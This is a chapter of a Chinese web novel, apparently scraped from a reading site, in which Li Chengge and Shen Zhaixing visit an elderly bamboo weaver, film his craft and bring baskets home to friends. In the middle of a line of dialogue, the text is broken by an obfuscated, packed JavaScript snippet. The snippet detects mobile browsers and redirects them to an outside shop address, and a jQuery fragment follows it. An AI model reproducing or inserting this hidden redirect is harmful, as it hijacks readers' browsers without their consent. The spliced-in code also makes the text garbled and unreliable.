回家的路上，李乘歌牵着沈摘星的手，慢慢走着。
阳光晒得人身上暖洋洋的，沈摘星走了一会儿就开始打哈欠，步子慢下来，小脑袋一点一点的。
“困了？”李乘歌低头看她。
沈摘星摇摇头，又点点头，揉了揉眼睛。
李乘歌笑了笑，把她往身边拉了拉：“那走快点儿，回去睡个觉。”
两人走到村口的时候，李乘歌忽然停下脚步。
沈摘星跟着停下来，顺着她的目光看过去。
路边有个老院子，门口挂着一块木头招牌，字迹已经有些斑驳，但还能认出来——竹编作坊。
院门半掩着，里面传来细细的劈竹声，一下一下，很有节奏。
李乘歌站在门口，往里看了一眼。
院子里，一个老人坐在小板凳上，手里拿着一把篾刀，正把一根青竹劈成细条。竹条在他手里翻飞，像活了一样。
她不知道自己站了多久。
沈摘星在旁边拉了拉她的衣角：“乘歌姐姐？”
李乘歌回过神，低头看她，又看了看那个院子：“进去看看？”
沈摘星点点头。
李乘歌伸手，推开了那扇半掩的木门。
劈竹声停了。
老人抬起头，手里还握着那把篾刀，目光落在门口两个人身上。他眯着眼看了一会儿，忽然笑了。
“老李家的闺女吧？”
李乘歌愣了一下：“您认识我？”
“认得，小时候你爸带你来过。”老人把篾刀放下，指了指旁边的小板凳，“坐，别站着。”
李乘歌拉着沈摘星走进去，在院子里站定，没急着坐。她的目光落在地上那些竹条上，宽窄不一，却根根匀称，青色的竹皮在阳光下泛着油润的光。
“这是……编什么的？”
“什么都能编。”老人重新拿起一根竹子，篾刀轻轻一划，竹皮应声裂开，“筐，篓，篮子，笸箩。以前村里家家户户用，现在没人要了。”
沈摘星蹲下来，伸手摸了摸那些竹条，又缩回手，抬头看李乘歌。
李乘歌蹲在她旁边，拿起一根编了一半的竹条，翻来覆去地看。手指抚过那些交错的纹路，忽然想起小时候用过的那个旧竹篮也是这样的纹路，这样的颜色。
“这个。”她指了指那半成品，“编完是什么？”
“小篮子。”老人手上动作没停，“装果子，装菜，都行。你们那个院子，不是种了菜吗？”
李乘歌愣了一下：“您怎么知道？”
老人脸上带着那种山里人常有的笑,不急不躁的：“农村人，院子里还能没口吃的？”
他低头看了一眼自己那双粗糙的手,又抬起头,目光落在李乘歌脸上,温和得很：“菜是自己种的,鸡是自己养的,日子是自己过的。”
李乘歌听着,忽然不知道该说什么。
老人的目光越过她，落在墙上。
那里挂着一个竹编的篮子，不大，但编得很密。篮口收得圆圆的，提手处还编了一圈细细的花纹，阳光从窗子照进来，落在那些交错的竹篾上，泛着淡淡的光。
老人站起来，走过去把篮子拿下来，递到她面前。
“这个给你们。”他说，“回去装菜。”
李乘歌站起来，走过去把篮子拿下来，翻来覆去看了半天：“多少钱？”
“不要钱。”老人摆摆手，“拿去用，以后菜长好了，给我送一把就行。”
沈摘星在旁边小声说：“爷爷，你编得真好。”
老人低头看了看自己那双粗糙的手，笑了笑：“编了一辈子，也就这点手艺了。”
李乘歌站在原地，手里捧着那个篮子，没动。
她忽然想起那些视频，拍的都是人和地，拍的都是热闹，可这个院子里的东西，这些安静的手艺，是不是也该被看见？
“爷爷。”她开口，“我能拍您吗？”
老人抬起头：“拍我？”
“嗯。”李乘歌晃了晃手机，“把您编篮子的过程拍下来，发到网上，让更多人看见。”
老人愣了一下，然后笑了：“我一个老头子，有什么好看的。”
李乘歌也笑了。
“好看的。”她说，“真的好看。”
老人看着她，目光里有点东西，像是意外，又像是别的什么。
“你们年轻人。”他低头继续劈竹条，“就喜欢这些老东西？”
李乘歌在他旁边的小板凳上坐下来，沈摘星也挨着她蹲下。
“不是喜欢老东西。”李乘歌说，“是喜欢真的东西。”
老人手上的动作慢了一拍。
“网上那些视频，好多都是演出来的。”李乘歌指了指手机，“但您这个，是实打实的手艺。编一根竹子要多久，手要被划多少道口子，那些东西骗不了人。”
老人没说话，只是手上的篾刀又动了起来。
劈，划，削，一气呵成。一根青竹在他手里，像是活了。
沈摘星在旁边看得眼睛都不眨。
“爷爷，您手不疼吗？”
老人低头看了看自己那双布满老茧和刀疤的手，平和地回她：“疼啊，疼了几十年了。疼着疼着就习惯了。”
沈摘星缩了缩脖子，又忍不住继续看。
李乘歌举起手机，对准老人的手。
镜头里，那双粗糙的手稳稳地握着篾刀，竹皮从刀口滑出，薄薄的，匀匀的，落在地上发出细细的声响。
她没有说话，只是静静地拍着。
老人也没说话，只是静静地编着。
院子里只剩下劈竹的声音，一下一下，像某种古老的节拍。
拍了大概十分钟，李乘歌放下手机，把刚才那段回放给老人看。
老人凑过来，眯着眼看了一会儿，忽然问道：“我这手，这么糙？”
“糙才好。”李乘歌说，“糙才是真的。”
老人又看了一遍，这回没说话，只是嘴角一直翘着。
沈摘星在旁边小声说：“爷爷，您编的那个篮子，我能买一个回去吗？”
老人看了看她，又看了看墙上挂着的那些篮子，点点头。
“你自己挑。”老人抬手往墙边指了指，“爷爷送你。”
沈摘星站起来，跑到墙边，仰着头一个一个看。挑了半天，挑了一个最小的，提手处编着一圈小花的，“这个好看。”
老人看过去：“眼光不错，那个是我老伴儿以前编的。”
沈摘星愣了一下，低头看了看手里的篮子，又抬头看了看老人。
“奶奶呢？”
“走了，好几年了。”
沈摘星把篮子抱在怀里，“那奶奶一定很温柔。”
老人愣了一下：“为什么这么说？”
沈摘星指了指那圈小花：“这个花，编得小小的，圆圆的，一点都不凶。”
“是。”老人看着她，点点头，“她是个很温柔的人。”
李乘歌站起来，走到老人面前：“爷爷，我以后能常来拍您吗？”
老人看着她，沉默了几秒：“拍我这个老头子，有人看？”
“有人看。”李乘歌说，“肯
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310842|198833||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
定有人看。”
老人低下头，又开始劈竹条。
劈了几下，他忽然开口，声音很轻：“那你们下回来，我编个大的给你们看。”
李乘歌应道，“好。”
走出院子的时候，沈摘星回头看了一眼。
老人还坐在那儿，手里的篾刀一起一落，阳光把他花白的头发照得亮亮的。
“乘歌姐姐。”沈摘星小声说，“爷爷一个人，好孤单啊。”
李乘歌也回头看了一眼。
“所以咱们多来。”她说，“多来，就不孤单了。”
两人走出院门，沈摘星把那个小篮子抱得紧紧的。
阳光洒在村口的路上，把两个影子拉得很长。
走到院门口，还没进去，就听见里面传出来的声音。
李乘歌站在门口，听了一会儿，嘴角弯了弯。
她伸手，推开院门，阳光跟着她一起涌进去。
院子里，几个人各自忙各自的，本子、电脑、手机摊了一桌。阳光从老槐树的缝隙里洒下来，落在每个人身上。
听见门响，几个人同时抬起头。
“回来啦！”傅拭雪抬起头，目光在她脸上停了一下，又落到她手里那个竹篮子上。
李乘歌点点头，走进去，把竹篮放在石桌上。
傅砚修凑过来看：“这什么？哪儿来的？”
“村口，一个编竹子的爷爷给的。”李乘歌说，“他的手艺特别好。”
沈摘星在旁边举起那个小花篮子：“我这个也是爷爷给的！这个是奶奶编的！”
傅拭雪接过去看了看：“这手艺，现在真不多见了。”
宋鹤眠走过来，拿起那个大篮子，翻来覆去看了看。
“手工的。”她说，“现在城里人喜欢这个，原生态。”
李乘歌愣了一下，看着她。
宋鹤眠把篮子放回去，淡淡地说：“回头拍视频的时候，可以拍一期这个。手工竹编，配咱们的菜，画面好看。”
傅拭雪点点头：“可以。”
李乘歌站在原地，看着那个篮子，忽然想起老人低头劈竹的样子。
她掏出手机，把刚才拍的视频点开，递给傅拭雪。
“我拍了一点，你们看看。”
傅拭雪接过来，几个人凑过去看。
视频里，老人的手粗糙却稳当，篾刀一起一落，竹皮从刀口滑出，薄薄的，匀匀的。阳光落在他手上，落在那根青竹上，落在地上那些编了一半的篮子上。
没有音乐，没有解说，只有劈竹的声音，一下一下。
视频放完，院子里安静了几秒。
“现在城里人日子赶得紧，这种慢慢磨出来的东西，看一眼能歇口气。”傅拭雪顿了顿，“留不留得住人，看缘分。但至少能让人停一下，挺解压的。”
宋鹤眠看着李乘歌：“拍的时候，你在想什么？”
李乘歌想了想。
“我在想。”她说，“这么好的东西，要是没人看见，就太可惜了。”
傅拭雪把手机还给她。
正说着，院门又被推开了。夏叙言背着他那个旧帆布包，大步走进来。他脸色有点红，额头上还挂着汗，像是赶了一路。
“都在呢？”他把包往石凳上一放，看见桌上那个竹篮子，愣了一下，“这哪儿来的？”
李乘歌把刚才的事简单说了。
夏叙言听完，点点头，没再多问。他把包打开，从里面一样一样往外掏东西。一包干香菇，一包笋干，一包干豆角，还有几罐咸菜：“市场里淘的，你们尝尝。”